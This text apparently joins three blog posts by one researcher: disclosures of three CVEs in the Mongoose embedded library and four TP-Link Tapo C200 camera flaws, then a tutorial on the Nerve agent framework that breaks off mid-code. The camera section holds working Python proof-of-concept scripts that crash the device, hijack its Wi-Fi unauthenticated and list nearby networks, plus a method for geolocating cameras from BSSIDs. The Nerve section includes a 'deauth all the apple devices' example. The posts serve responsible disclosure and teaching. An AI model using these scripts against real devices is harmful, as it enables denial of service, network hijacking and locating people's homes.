So, Mongoose. If you’ve never heard of it, you’ve almost certainly used a device that runs it. It’s a single-file, cross-platform embedded network library written in C by Cesanta that provides HTTP/HTTPS, WebSocket, MQTT, mDNS and more, designed specifically for embedded systems and IoT devices where something like OpenSSL would be way too heavy. Their own website claims deployment on hundreds of millions of devices by companies like Siemens, Schneider Electric, Broadcom, Bosch, Google, Samsung, Qualcomm and Caterpillar. They even claim it runs on the International Space Station. We’re talking everything from smart home gateways and IP cameras to industrial PLCs, SCADA systems and, apparently, space.

One of Mongoose’s key selling points is its built-in TLS 1.3 implementation (MG_TLS_BUILTIN). Instead of linking against OpenSSL or mbedTLS, you get TLS right out of the box, including mutual TLS (mTLS) for client certificate authentication. This is particularly appealing for embedded devices where every kilobyte of firmware matters and cross-compiling OpenSSL for some obscure MIPS or ARM SoC is a pain. Sounds great, right?

During one of the usual weekend fun projects, I found three vulnerabilities in Mongoose v7.20, each independently exploitable: complete bypass of mTLS authentication, preauth RCE as root via a heap overflow in the client public key parsing logic, and preauth RCE via a single UDP packet through mDNS. No authentication required for any of them. Not that authentication can’t be bypassed anyway :D

#Disclosure Timeline

• 2026-02-17 - Vulnerabilities reported, as per project README, via email to support@mongoose.ws with full technical details, weaponized exploits and proposed fixes.
• 2026-02-26 - Created GitHub issue #3453 to get any sort of ACK.
• 2026-02-26 - Maintainer response: “Please do not discuss security stuff here. You will receive a response in due time.” Issue closed as “not planned.”
• 2026-02-26 - Cesanta finally realizes they wrote the wrong email address in the project README, and the conversation actually starts …
• 2026-03-02 - VulDB is involved for coordination and CVE assignment.
• 2026-03-31 - CVE-2026-5244, CVE-2026-5245 and CVE-2026-5246 assigned.
• 2026-04-01 - Mongoose v7.21 is released, including the patches.
• 2026-04-02 - Public disclosure from yours truly

#Summary

• CVE-2026-5246 | mg_tls_verify_cert_signature() returns success without checking the signature when the CA uses a P-384 key. Any client certificate from any CA is accepted. Complete mTLS bypass. (CVSS 5.6 Medium, CWE-295 Improper Certificate Validation)
• CVE-2026-5244 | mg_tls_recv_cert() copies an attacker-controlled RSA public key into a fixed 528-byte heap buffer with no bounds check. Heap overflow overwrites mg_connection->fn function pointer → shellcode execution as root. (CVSS 7.3 High, CWE-122 Heap-based Buffer Overflow)
• CVE-2026-5245 | handle_mdns_record() packs four DNS records into a 282-byte stack buffer without bounds checking. A single UDP packet overflows the stack by 386 bytes, corrupting saved registers and the return address. On MIPS with executable stack, this is exploitable for preauth RCE. (CVSS 5.6 Medium, CWE-121 Stack-based Buffer Overflow)

All three affect Mongoose versions 7.0 through 7.20. Fixed in version 7.21.

#Impact

A remote unauthenticated attacker can:

• Bypass mTLS authentication entirely on any Mongoose server using a P-384 CA certificate, gaining unauthorized access to management interfaces on critical infrastructure.
• Achieve remote code execution as root during the TLS handshake, before any HTTP request is processed, via a heap buffer overflow triggered by a crafted client certificate.
• Achieve remote code execution via mDNS with a single 34-byte UDP packet on IoT gateways, industrial controllers, and embedded systems (when the mDNS TXT buffer is configured larger than default).

#Affected Systems

Mongoose is deployed on hundreds of millions of devices by companies including Siemens, Schneider Electric, Broadcom, Bosch, Google, Samsung, Qualcomm, and Caterpillar. Any device using MG_TLS_BUILTIN or mDNS is potentially affected:

• Industrial PLCs and SCADA gateways
• Smart home hubs and IP cameras
• Building automation controllers
• Medical devices
• Automotive infotainment systems
• Any embedded device running Mongoose 7.0-7.20

#Remediation

• Update to Mongoose 7.21 which contains fixes for all three vulnerabilities.
• If you can’t update, switch from MG_TLS_BUILTIN to OpenSSL or mbedTLS for your TLS implementation.
• If you’re using mDNS, disable it if you don’t need it.
• Do not use P-384 CA certificates with Mongoose’s built-in TLS on any version prior to 7.21.
• If running on embedded devices with no hardening (no ASLR, no PIE, executable heap - which is most of them), treat this as critical priority.

#Bug 1: “ignore secp386 for now” - mTLS Authentication Bypass (CVE-2026-5246)

Let’s start with the fun one, the one that made me literally say “no way” out loud. Mutual TLS (mTLS) is the gold standard for device-to-device authentication in IoT deployments. Instead of passwords or API keys, both the server and the client present X.509 certificates signed by a trusted Certificate Authority. The server verifies the client’s certificate against its CA, and only if the signature checks out does the client get access.

In Mongoose’s built-in TLS implementation, this verification happens in mg_tls_verify_cert_signature(). Here’s the relevant code path from tls_builtin.c line 1527:

1
2
3
4
5
6
7
8
9
10

if (issuer->pubkey.len == 64) {
  // secp256r1 (P-256) verification - actually checks the signature
  return mg_uecc_verify(...);
} else if (issuer->pubkey.len == 96) {
  MG_VERBOSE(("ignore secp386 for now"));  // <--- LMAO
  return 1;                                 // <--- ALWAYS SUCCESS, NO CHECK
} else {
  MG_ERROR(("unsupported public key length: %d", issuer->pubkey.len));
  return 0;
}

When the CA certificate uses a P-384 (secp384r1) ECDSA public key the function returns 1 (success) without performing any signature verification at all. The comment even says “ignore secp386 for now”.

What does this mean in practice? If your Mongoose mTLS server uses a P-384 CA (which is a perfectly reasonable and increasingly common choice since P-384 provides 192-bit security vs P-256’s 128-bit), then any client certificate is accepted. It doesn’t matter who signed it. It doesn’t matter if you generated it yourself five seconds ago with a completely random CA. The server will let you in.

This is bad enough on its own. mTLS is specifically designed to prevent unauthorized access to sensitive management interfaces. But it gets worse.

#Bug 2: TLS Heap Buffer Overflow → Remote Code Execution (CVE-2026-5244)

This one is independent from Bug 1. The heap overflow triggers during certificate parsing in the TLS handshake. It doesn’t matter whether the certificate passes verification or not, because the vulnerable memmove happens before any signature check. Any TLS client that sends a crafted certificate with an oversized RSA public key can trigger it.

In mg_tls_recv_cert() (this line), when Mongoose processes a client certificate during the TLS handshake, it copies the certificate’s public key into a fixed-size buffer:

1
2
3

memmove(tls->pubkey, ci->pubkey.buf, ci->pubkey.len);
//       ^^^^^^^^^^                   ^^^^^^^^^^^^^^^^^
//       528-byte buffer              attacker-controlled length (from X.509 cert DER)

The pubkey field inside tls_data is a fixed 528-byte buffer. The length ci->pubkey.len comes directly from parsing the client’s X.509 certificate DER - which the attacker fully controls. There is no bounds check.

Great.

An 8192-bit RSA key has a modulus of ~1037 bytes. That’s 509 bytes past the end of the 528-byte buffer, overflowing across the heap into adjacent allocations.

Since Mongoose is distributed as a single-file C library, it gets compiled into an enormous variety of targets - from Linux and FreeBSD servers to bare-metal microcontrollers, FreeRTOS, Zephyr, and other real-time operating systems. The heap layout, available hardening, and exploitability will differ across each one. That said, on embedded MIPS devices compiled with -z execstack (which is extremely common - no PIE, no canaries, no RELRO), this is game over. While PT_GNU_STACK RWE technically marks the stack as executable, on MIPS Linux the kernel sets READ_IMPLIES_EXEC as a side effect, which makes the heap executable too. On older uClibc-based embedded targets, PT_GNU_STACK may not even be processed at all, meaning the stack (and heap) are executable by default. Either way, the overflow executes with whatever privileges the server runs as - typically root on IoT devices.

The entire attack happens during the TLS handshake, before any HTTP request is processed. On a typical IoT device compiled with no hardening (which is the norm, not the exception), this is a reliable, single-shot preauth remote code execution.

#Bug 3: mDNS Stack Buffer Overflow → RCE (CVE-2026-5245)

This one is different from the TLS bugs. It doesn’t require mTLS, it doesn’t require TLS at all. It requires a single UDP packet.

Mongoose includes mDNS (multicast DNS) support for service discovery - the same protocol that lets your phone find printers and smart home devices on the local network. When a device registers an mDNS service (like _http._tcp), it responds to PTR queries with multiple DNS records: a PTR record pointing to the service name, an SRV record with the hostname and port, a TXT record with device metadata, and an A record with the IP address.

The function handle_mdns_record() in mongoose.c (dns.c line 388) allocates a fixed-size stack buffer for this response:

1
2

uint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4];
// = 12 + 256 + 10 + 4 = 282 bytes

That buffer was sized for a single DNS name (max 256 bytes). But a PTR response packs four records into it sequentially, and the critical copy in build_txt_record() has no bounds check:

1

memcpy(p, r->txt.buf, r->txt.len), p += r->txt.len;  // <--- NO BOUNDS CHECK

The response size formula is:

1

total = 82 + srvcproto.len + 2 * respname.len + txt.len

With standard IoT device metadata - a 63-character hostname and ~450 bytes of TXT records (firmware version, model, serial number, capabilities - perfectly normal stuff per RFC 6763):

1

total = 82 + 10 + 2*63 + 450 = 668 bytes

That’s a 386-byte overflow on a 282-byte buffer. On the stack. From a single UDP packet.

#Final Thoughts

If you’re using Mongoose with MG_TLS_BUILTIN in production - especially on embedded devices with no hardening, apply the fixes above. Now.

By the way, this is the second time I pwn a major project that claims to be covered by oss-fuzz. And I do this as a noob, just for fun on the weekends. Funny how the pros never seem to question the effectiveness of oss-fuzz with the same passion they use while attacking AI assisted security research :D

Stay safe out there. And maybe don’t roll your own TLS.

Hack the planet!

I own several TP-Link Tapo C200 cameras myself. They’re cheap (less than 20 EUR from Italy), surprisingly stable, and I genuinely like them - they just work. One weekend, I decided just for fun to take my own advice. The Tapo C200 has been around for a while and has had a few CVEs discovered and more or less patched over the years, so I honestly wasn’t expecting to find much in the latest firmware. However, I wanted to use this chance to perform some AI assisted reverse engineering and test whether I could still find anything at all.

I documented the entire process live on Arcadia - my thought process, the dead ends, the AI prompts that worked and the ones that didn’t. If you want the raw, unfiltered version with screenshots and videos of things crashing, go check that out.

This post is the cleaned-up version of that journey, where I wanted to show how I approach firmware analysis these days, now that we have AI. You will notice that in several instances I will be particularly lazy and delegate to AI things I could have done manually and/or inferred myself after some more work. Keep in mind that while I am generally lazy, this was also an experiment in integrating and documenting how effective AI can be for security research and reverse engineering, and especially in making them accessible to less experienced/sophisticated researchers/attackers.

What started as a lazy weekend project turned into finding a few security vulnerabilities that affect about 25,000 of these devices directly exposed on the internet.

#Getting the Firmware

The first step is always obtaining the firmware binary file and this time it was super easy! After some basic reversing of the Tapo Android app, I found out that TP-Link have their entire firmware repository in an open S3 bucket. No authentication required. So, you can list and download every version of every firmware they’ve ever released for any device they ever produced:

1

$ aws s3 ls s3://download.tplinkcloud.com/ --no-sign-request --recursive

The entire output is here, for the curious. This provides access to the firmware image of every TP-Link device - routers, cameras, smart plugs, you name it. A reverse engineer’s candy store.

I grabbed version 1.4.2 Build 250313 Rel.40499n for the C200 (Hardware Revision 3), named Tapo_C200v3_en_1.4.2_Build_250313_Rel.40499n_up_boot-signed_1747894968535.bin, and started poking around. However, the first attempt at identifying its format via binwalk was not successful, indicating that some sort of encryption or obfuscation was in place.

And here is where I started using AI. I used Grok to do some deep research on how to decrypt the firmware for these cameras. Since I knew other hackers worked on this before, I delegated searching into hundreds of relevant web pages to the AI:

#Decrypting the Firmware

Thanks to Grok, the tp-link-decrypt tool and the fact that every firmware image for every device seems to be encrypted the same exact way, we can now decrypt the firmware. The tool extracts RSA keys from TP-Link’s own GPL code releases - they publish the decryption keys themselves as part of their open source obligations.

Credits to @watchfulip for the original extensive TP-Link firmware research and @tangrs for finding that the relevant binaries are published in TP-Link GPL code dumps and how to extract keys from them.

1
2
3
4
5
6

$ git clone https://github.com/robbins/tp-link-decrypt
$ cd tp-link-decrypt
$ ./preinstall.sh        # Install dependencies
$ ./extract_keys.sh      # Extract RSA keys from TP-Link's GPL code
$ make
$ bin/tp-link-decrypt Tapo_C200_firmware.bin

After decryption, the firmware revealed a fairly standard structure: a bootloader, a kernel, and a SquashFS root filesystem.

1

$ binwalk -e Tapo_C200_v3_1.4.2_decrypted.bin

#Hunting for Bugs

Once extracted, I used AI and Cline to explore the filesystem in search of which components handle the discovery protocol, camera web API, video streaming, etc all discovered earlier while reversing the Android app.

Claude Opus 4: "this is the firmware of an ipcam, i'm trying to find where the webapp that serves the API is managed" pic.twitter.com/NrgtKGUD8h

— Simone Margaritelli (@evilsocket) July 18, 2025

Loading Ghidra and giving a quick look at the tp_manage binary, revealed the first interesting thing:

This private key is not generated at boot. Similarly to CVE-2025-1099 for the C500, the C200 embeds in its firmware the private key that serves the SSL for a few APIs. If you’re on the same network as a camera, you can MitM and decrypt their HTTPS traffic with keys you extracted from the firmware image - without ever touching the hardware. For a security camera streaming video of people’s homes, this is… not ideal.

I kept loading the other interesting binaries and exploring them in Ghidra using AI to quickly get a sense of the main features and possible entry points for an attacker.

Asking AI to explain a function and its relation to the other functions proved to be very useful for instance to understand encryption / obfuscation routines and network protocol handlers. This allows you to go from here:

To a higher level understanding that the AI can provide:

Another technique I found particularly effective is asking the AI to analyze a given function of interest and rename its variables and parameters to something meaningful based on context. Then do the same for the functions it calls, recursively following the branches you’re interested in. After a few iterations, what started as FUN_0042eb7c(undefined2 *param_1, undefined4 param_2, int param_3) becomes handleConnectAp(connection *conn, int flags, json *params) - and suddenly the decompiled code reads almost like the original source.

This iterative refinement approach, which I find a great example of human-AI collaboration where neither alone would be as efficient, is how I mapped most of the HTTP handlers, discovery protocol, and so on. What follows is the bottom line of my findings. For more details on the process, refer to the original Discord thread.

As a side note, I did not investigate (much) the exploitability of the following bugs to achieve code execution, mostly because I’m not familiar with MIPS, and it was not my intent. You can however do it relatively easily once obtained a shell via physical access, due to the presence of the /bin/gdbserver binary in the firmware.

#Bug 1: Pre-Auth ONVIF SOAP XML Parser Memory Overflow (CVE-2025-8065)

The Tapo C200 exposes an ONVIF service via the /bin/main server listening on port 2020 for interoperability with standard video management systems. The problem is in how it parses SOAP XML requests.

When processing XML elements, the parser (soap_parse_and_validate_request at 0x0045ae8c) calls ds_parse without any bounds checking on the number of elements or total memory allocation. Send it enough XML elements, and you’ll overflow allocated memory.

Here’s the PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#!/usr/bin/env python3
import urllib.request
import sys

TARGET = sys.argv[1]
ONVIF_PORT = 2020

# Generate 100,000 XML elements - this will overflow the parser
params = ''.join([f'<SimpleItem Name="Param{i}" Value="{"X" * 100}"/>' 
                  for i in range(100000)])

body = f'''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<CreateRules xmlns="http://www.onvif.org/ver20/analytics/wsdl">
<ConfigurationToken>test</ConfigurationToken>
<Rule>
<Name>TestRule</Name>
<Type>tt:CellMotionDetector</Type>
<Parameters>{params}</Parameters>
</Rule>
</CreateRules>
</soap:Body>
</soap:Envelope>'''

req = urllib.request.Request(f"http://{TARGET}:{ONVIF_PORT}/onvif/service", 
                             data=body.encode('utf-8'))
req.add_header('Content-Type', 'application/soap+xml')
urllib.request.urlopen(req, timeout=30)

Send this, and the camera crashes, requiring a power cycle to recover.

CVE-2025-8065 has been assigned to this bug.

CVSS v4.0 Score: 7.1 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

#Bug 2: Pre-Auth HTTPS Content-Length Integer Overflow (CVE-2025-14299)

The HTTPS server routine running on port 443 has a classic integer overflow in its Content-Length header parsing. The vulnerable function at 0x004bd054 does this:

1
2

iVar1 = atoi(value);
param_1->content_length = iVar1;

That’s it. No bounds checking. No validation. Just raw atoi() on user input.

On a 32-bit system, atoi("4294967295") causes integer overflow, resulting in undefined behavior. In this case, the camera crashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#!/usr/bin/env python3
import socket
import ssl
import sys

TARGET = sys.argv[1]

request = f"""POST / HTTP/1.1\r
Host: {TARGET}\r
Content-Length: 4294967295\r
Content-Type: application/octet-stream\r
Connection: close\r
\r
AAAA"""

context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(sock, server_hostname=TARGET)
ssl_sock.connect((TARGET, 443))
ssl_sock.send(request.encode())

Another crash - CVE-2025-14299 has been assigned to this bug.

CVSS v4.0 Score: 7.1 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

#Bug 3: Pre-Auth WiFi Hijacking (CVE-2025-14300)

The camera exposes an API endpoint called connectAp that’s used during initial setup to configure WiFi. The problem? It’s accessible without any authentication. Even after the camera is fully set up and connected to your network.

The vulnerable handler at 0x0042eb7c processes the request without any auth checks:

1
2
3
4
5
6
7

void connectApHandler(undefined2 *param_1,undefined4 param_2,int json_params)
{
    // No authentication check here - just processes the request
    jso_add_string(iVar3,"method","connectAp");
    jso_obj_add(iVar3,"params",iVar2);
    iVar1 = ds_tapo_handle(param_1);
}

The exploit is trivial:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#!/usr/bin/env python3
import urllib.request
import ssl
import sys

TARGET = sys.argv[1]

# No auth needed - just send it
payload = '{"method":"connectAp","params":{"onboarding":{"connect":{"ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,"encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}}'

context = ssl.create_default_context()
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type', 'application/json')
urllib.request.urlopen(req, context=context, timeout=10)

This allows a remote attacker to:

• Disconnect the camera from its legitimate network (DoS)

If in WiFi range proximity:

• Force it to connect to an attacker-controlled network (MitM)
• Intercept all video traffic once on the malicious network (not that we really needed this since the HTTPS private key is shared by all devices, as mentioned earlier XD)
• Maintain persistent access even if the owner changes their WiFi password

CVE-2025-14300 has been assigned to this bug.

CVSS v4.0 Score: 8.7 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

#Bug 4: Pre-Auth Nearby WiFi Network Scanning

Related to Bug 3, the scanApList method is also accessible without authentication - even when the device is not in onboarding mode. This endpoint returns a list of all WiFi networks visible to the camera:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#!/usr/bin/env python3
import urllib.request
import ssl
import sys

TARGET = sys.argv[1]

payload = '{"method":"scanApList","params":{}}'

context = ssl.create_default_context()
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type', 'application/json')
response = urllib.request.urlopen(req, context=context, timeout=10)
print(response.read().decode())

A test on one of the devices exposed on the internet:

This is particularly concerning given the number of these devices exposed on the internet. An attacker can remotely enumerate WiFi networks in the camera’s vicinity, including:

• SSIDs of nearby networks
• BSSIDs (MAC addresses of access points)
• Signal strength (useful for triangulation)
• Security configurations

Here’s where it gets worse: tools like apple_bssid_locator can query Apple’s location services API with a BSSID and return precise GPS coordinates.

This means an attacker can:

1. Find an exposed Tapo camera via services like ZoomEye, Shodan or similar indexes
2. Use scanApList to retrieve nearby WiFi BSSIDs
3. Query Apple’s location database with those BSSIDs
4. Pinpoint the camera’s physical location to within a few meters

Remote attackers can not only see what WiFi networks exist around a camera - they can determine exactly where that camera (and by extension, the home or business it’s monitoring) is located on a map.

#Disclosure

I’ve decided to follow the industry standard 90+30 days responsible disclosure process; here’s the timeline:

• July 22, 2025: Sent initial report to TP-Link’s security team (security@tp-link.com) with full technical details, PoC exploits and videos. All compiled according to their guidelines.
• July 22, 2025: Acknowledgment received.
• August 22, 2025: TP-Link confirms they’re still reviewing the report
• September 27, 2025: TP-Link responds and sets the timeline for the remediation patch to the end of November 2025.
• November 2025: Nothing happens.
• December 1, 2025: Sent follow up email, no response.
• December 4, 2025: Sent another follow up email, which TP-Link responds to, further postponing the patch to the following week.
• The following week: Nothing happens.
• December 19, 2025: Public disclosure after 150 days.
• December 20, 2025: TP-Link finally publishes a security advisory for CVE-2025-8065, CVE-2025-14299 and CVE-2025-14300.

The 90+30 period has long passed, so I decided to publish this writeup.

#Conflict Of Interest

As of April 25, TP-Link is a CVE Numbering Authority (CNA). This means they have the authority to assign CVE identifiers for vulnerabilities in their own products - at least for the ones reported directly to them. And they actively encourage responsible disclosure directly to their security team, which means they control a considerable pipeline of vulnerability reports.

On their Security Commitment page, TP-Link prominently displays charts comparing their CVE count to competitors. They explicitly market themselves as having fewer CVEs than Cisco, Netgear, and D-Link. They state they “aim to patch vulnerabilities within 90 days.”

There’s an obvious and structural conflict of interest when a vendor is allowed to be their own CNA while simultaneously using their CVE count as a marketing metric.

#What Is An Agent?

The term “agent” has been increasingly used in recent times to describe various technologies, including OpenAI DeepResearch, Operator, and Grok 3. According to Wikipedia’s definition of “intelligent agent”:

In artificial intelligence, an intelligent agent is an entity that perceives its environment, takes actions autonomously to achieve goals, and may improve its performance through machine learning or by acquiring knowledge.

In similar terms, we can think of an agent as a model (being it an LLM or other older algorithms) that, after making an observation, decides which tool to use from its “toolbox” to complete the given task, step by step, in a loop. This reframing, in my opinion, better aligns with the chat or sequential-based experience we have nowadays with large language models and gives us a clue for how an agent might look like in software.

Aren’t we all living in our own loop, trying to make the best of what we have, one day at a time? Anyways …

#What Is A Tool?

In the context of LLMs and LLDMs, models can be made aware of and use these tools through a mechanism called, unsurprisingly, function calling. Most of the models you ever interacted with have been trained to understand a “here’s tool A that does X” message (the tool definition) in their prompts.

For instance, here’s how llama3.3 understands its toolbox as part of its system prompt:

1
2
3
4
5
6
7
8
9
10

When you receive a tool call response, use the output to format an answer to the orginal user question.
You are a helpful assistant with tool calling capabilities.

... snip ...

Given the following functions, please respond with a JSON for a function call with its proper arguments that best answers the given prompt.

Respond in the format {"name": function name, "parameters": dictionary of argument name and its value}. Do not use variables.

... tools definition here ...

Each tool definition is a JSON document that looks something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

{
  "name": "get_current_weather",
  "description": "Get the current weather in a given location",
  "parameters": {
    "type": "object",
    "properties": {
      "location": {
        "type": "string",
        "description": "The city and state, e.g. San Francisco, CA"
      },
    },
    "required": [
      "location"
    ]
  }
}

The model receives all of these tool definitions as part its system prompt. When it is later asked in a chat, “What’s the weather in San Francisco?”, it can use one or more of these tools by responding with an _”I want to use tool A with these parameters: …” response message that looks like this:

1
2
3
4
5
6
7
8

{
    "function": {
        "name": "get_current_weather",
        "arguments": {
            "location": "San Francisco",
        }
    }
}

But how do we go from JSON to providing tools with actual functionality to the model? And how do we execute these tool calls? How do we return their output back to the model?

This part of the job - that “chat -> execute tools -> observe state -> loop or break if task done” loop from the earlier diagram - is delegated to whatever agentic framework you are going to use (and a lot of your good will).

There are several of these frameworks, each taking a different approach. Some provide a minimal API to control predefined agent types, while others use similar concepts with different abstractions. Some can feel overly intricate, making it challenging to navigate their design choices. They all come with certain limitations and, most importantly, require you to write code, learn their abstractions, and adapt your agent ideas to fit their structure.

In my personal view, many of them are more complex than necessary. If agent = a model executing tools in a loop, we can have something better - something that abstracts away the agent’s inner mechanics and lets us focus on the actual agent logic.

#Why Nerve?

Nerve was written (and rewritten, now twice) as an ADK (Agent Development Kit) with the KISS principle in mind: anything that can be generalized as part of the framework should not be something the user has to handle unless they choose to. So they can focus on the actual agent logic rather than the agent loop and other abstractions.

This is what a Nerve agent looks like:

1
2
3
4
5

agent: You are an helpful assistant using pragmatism and shell commands to perform tasks.

task: Find the running process that is using the most RAM.

using: [shell]

And this is how you run it in a terminal: nerve run agent.yml.

Nerve includes a built-in library of agent oriented tools, organized in namespaces, that can be included via the using directive (in this example, the shell namespace allows the agent to execute shell commands). You can think about this as a “standard library“ for agents including functionalities that can be reused.

At the time of writing, the existing namespaces are (check the documentation for the list of tools in each one; in bold are my personal favorites :D):

• shell - Let the agent execute shell commands.
• filesystem - Read-only access primitives to the local filesystem.
• anytool - Let the agent create its own tools in Python.
• computer - Computer use primitives for mouse, keyboard, and screen.
• browser - Browser use primitives. (very experimental but promising)
• inquire - Let the agent interactively ask questions to the user in a structured way.
• reasoning - Simulates the reasoning process at runtime for models that have not been trained for it.
• task - Let the agent autonomously set the task as complete or failed.
• time - Tools for getting the current date and time and waiting for a given number of seconds.

#What Can I Do With It?

Nerve is generic enough to be used for a variety of tasks. Before we start creating our first agent, I want to spend a few words about some of the existing examples that interest me the most and/or that I use on a daily basis and why. In the majority of the cases you’ll see that the YAML implementation is rather simple despite what these agents can do :)

#code-audit

This agent existed in Nerve’s examples folder since its first iteration and I have been using it one way or another for all sorts of things. The agent is given read-only access to a folder and the task to:

• review the source code in it
• append any potential vulnerability to an audit.jsonl report file
• keep going until all files are processed

1
2
3

nerve run code-audit --target-path /path/to/src

nerve run code-audit # default to the current directory

#changelog

This little utility is a lifesaver for generating an high-level, nicely formatted changelog like this one from a list of commits like these ones.

1
2

# -q is the quiet mode, logs are disabled and only the changelog markdown (and fatal errors) will be printed to stdout
nerve run changelog -q > CHANGELOG.md

#webcam

There are four pets in my apartment and several security cameras: I’ve always wanted a “bot” that could check the video feed, detect custom events I can describe with languange such as: “the doggo being cute” or “the kitten breaking something” (or “my son is taking their first steps” for another use-case :D) and alert me via Telegram or whatever. When good open source vision models started being a thing, I could not not write this one :D

1
2
3
4

# set the webcam rtsp url
export NERVE_WEBCAM_URL="rtsp://192.168.1.10:554/stream1"
# recommended: conversation window of size 5
nerve run examples/webcam -c 5

#computer-use

An experimental agent that can be used with vision models to use your computer to perform tasks:

1

nerve run computer-use --task 'open the browser and check the news on cnn.com'

#bettercap-agent

This is an example of how the API of a service can be used as a tool. The agent can interact with a running bettercap instance via its REST API and perform tasks like ‘find the most vulnerable WiFi access point’ or:

1

nerve run bettercap-agent --task 'deauth all the apple devices'

#android-agent

Very experimental but promising Android automation agent. An ADB shell is all an agent needs:

1

nerve run android-agent --task 'take a selfie and send it to jessica'

#ab-problem

The agent is given a logic puzzle and its answer is evaluated at runtime. This example shows how a tool can alter the runtime state and set the task as complete or let the agent loop continue. This is a foundational feature for agent evaluations.

1

nerve run ab-problem --program 'A# A# #A #A B# #B #B #A'

#recipe-workflow

Used to showcase the concept of workflows. Pick any food and use multiple agents to write a tasty and nicely formatted recipe for you:

1

nerve run recipe-workflow --food 'spaghetti alla carbonara (con guanciale, non pancetta!)'

#Creating an Agent

Let’s start with the fun stuff! First, to install and use Nerve, you’ll need Python 3.10 or newer.

Use PIP to install (or upgrade) Nerve:

1

pip install --upgrade nerve-adk    

Then, if you don’t feel like creating the agent YAML file from scratch, you can use the guided procedure for agent creation.

Start creating an agent by executing the command nerve create weather.yml and when prompted, use these values:

• Path: leave default
• System prompt: leave the default for now (however, it is important to define the “persona” of your agent as accurately as possible. For examples of simple system prompts you can reuse, check the agents in the examples folder).
• Task: What's the weather in {{ place }}? (the {{ place }} jinja2 syntax allows us to create parametric agents)
• Tools: select task and time; deselect (for now) shell.

At the end of the procedure, the weather.yml file that Nerve generated will look like this (except for the comments and formatting I added here for clarity):

1
2
3
4
5
6
7
8
9

agent: You are an helpful assistant.

task: What's the weather in {{ place }}?

# we use the 'task' namespace so the agent can set the task as complete autonomously
# and 'time' because why the hell not
using:
    - task 
    - time

Since we are referencing the place variable in the prompt, we’ll need to provide it as a command line argument, otherwise the agent will exit with the message:

Command line argument place is required in non interactive mode.

Moreover, our agent doesn’t have weather forecast related tools (yet), therefore if we run it with nerve run weather.yml --place rome we’ll likely see it “giving up” like this:

#Adding Tools

#Via YAML

We could easily extend the agent tooling by adding a tools section, with a get_current_weather tool that will use curl to read wttr.in and return the forecast information to the model:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# we added the second part to let the agent use the task namespace effectively
agent: You are an helpful assistant. Set your task as complete after you have reported the weather to the user.

task: What's the weather in {{ place }}?

using:
    - task 
    - time

# the agent extended toolbox ^_^
tools:
    - name: get_current_weather
      description: Get the current weather in a given location
      arguments:
        - name: location
          description: The city and state, e.g. San Francisco, CA
          # nerve supports providing examples to the models to help them 
          # use the tools more effectively
          example: Rome
      # the command line, arguments can be used via {{ name }} syntax (jinja2)
      tool: curl wttr.in/{{ place }}

If we run this agent again with nerve run weather.yml --place rome, now the agent will execute and use the output of the new tool:

#Via (LLM’s) Common Sense

This, however, is unnecessary. These models are smart enough to figure the right tool to use on their own, so most of the times we can just do this:

1
2
3
4
5
6
7

agent: You are an helpful assistant, use the shell to get the weather, report it in a nice format and then set your task as complete.

task: What's the weather in {{ place }}?

using:
- task
- shell

This version of the agent simply relies on the shell standard namespace. The model will use it to execute the CURL command curl -s 'http://wttr.in/Rome?format=3':

This demonstrates how, when provided with simple tools to complete a task, a model will naturally determine how to use them effectively. The emergent behavioral complexity these models exhibit when equipped with a robust tooling framework and a state machine to operate within suggests that we are only scratching the surface of what’s possible with existing models.

#In Python

Tools that require more complex logic can be implemented in Python. Creating a tools.py file in the same folder of the agent will automatically provide the functions as tools:

1
2
3
4
5
6
7
8
9
10
11
12

import typing as t

# This annotated function will be available as a tool to the agent.
def read_webcam_image(foo: t.Annotated[str, "Describe arguments to the model like this."]) -> dict[str, str]:
    """Reads an image from the webcam."""

    # a tool can return a simple scalar value, or a dictionary for models with vision.
    base64_image = '...'
    return {
        "type": "image_url",
        "image_url": {"url": f"data:image/jpeg;base64,{base64_image}"},
    }

A perfect example of this feature is the ab-problem agent that relies on Python tools to evaluate the model response to a logic puzzle that’s dynamically generated, and complete the task when the evaluation is successful.

However keep in mind that I managed to have an agent use my Android phone just with the shell and adb shell. So, when in doubt, KISS! :D

#As an SDK / ADK

Ultimately, if you really want to write code, Nerve can be used as a Python package to fully customize your agent loop, down to the single step.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

import asyncio
from typing import Annotated

import httpx

from nerve.models import Configuration
from nerve.runtime import logging
from nerve.runtime.agent import Agent


# Annotate functions and parameters to describe them to the agent.
async def get_current_weather(location: Annotated[str, "The city and state, e.g. San Francisco, CA"]) -> str:
    """Get the current weather in a given location."""

    try:
        async with httpx.AsyncClient() as client:
            r = await client.get("https://wttr.in/" + location)
            return r.text
    except Exception as e:
        # let the agent know what happened
        return f"ERROR: {e}"


async def main():
